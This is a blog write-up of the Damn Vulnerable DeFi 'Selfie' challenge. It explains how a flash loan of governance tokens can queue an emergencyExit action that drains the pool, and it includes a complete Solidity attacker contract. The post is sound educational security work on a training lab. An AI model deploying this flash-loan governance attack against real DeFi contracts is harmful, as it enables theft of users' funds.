banner
zach

zach

github
twitter
medium

damn-vulnerable-defi | Selfie

Challenge #6 - Selfie#

In order to systematically learn solidity and foundry, I rewrote the solution to damnvulnerable-defi based on the foundry testing framework. Welcome to communicate and build together~🎉

Contracts#

  • SimpleGovernance: Governance token contract that implements the ISimpleGovernance interface. It allows for pre-setting actions that can be executed after two days.
  • SelfiePool: Implements the IERC3156FlashLender interface and provides flash loans. It supports two types of tokens: ERC20Snapshot and SimpleGovernance.

Testing#

  • Deploy the DamnValuableTokenSnapshot and SimpleGovernance contracts.
  • Deploy the SelfiePool contract and transfer tokens to the pool with an amount of TOKENS_IN_POOL.
  • Take a snapshot of the token, where the current balance and the maximum flash loan amount in the pool are both TOKENS_IN_POOL.
  • Execute the attack script.
  • Expect the token balance of the player account to be TOKENS_IN_POOL and the token balance of the pool account to be 0.

Solution#

The purpose of this challenge is to take all the tokens from the pool. The pool contract has an emergencyExit function.

As we can see, as long as the onlyGovernance condition is met, any number of tokens from the current contract can be transferred.

function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

The onlyGovernance condition requires the caller to be the SimpleGovernance contract. We also know that the SimpleGovernance contract provides methods to set and execute actions, and the parameters for setting an action include the target and calldata for the contract call.

Therefore, the complete calling process is as follows:

image

First, by calling the attack contract, a flash loan is executed to obtain governance tokens. Then, an action is recorded in SimpleGovernance, with the target method being the emergencyExit of the pool.

After two days, the action is executed to transfer all tokens from the pool.

The code is as follows:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";


contract SelfiePoolAttacker is IERC3156FlashBorrower{
    SelfiePool pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    address owner;
    uint256 actionId;

    constructor(address _pool, address _governance, address _token){
        owner = msg.sender;
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }

    function attack(uint256 amount) public {
        // call flashloan
        pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
    }

    function onFlashLoan(
            address initiator,
            address _token,
            uint256 amount,
            uint256 fee,
            bytes calldata data
        ) external returns (bytes32){
            // queue action
            token.snapshot();
            actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
            token.approve(address(pool), amount);
            return keccak256("ERC3156FlashBorrower.onFlashLoan");
        }

    function executeAction() public{
        governance.executeAction(actionId);
    }

}
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.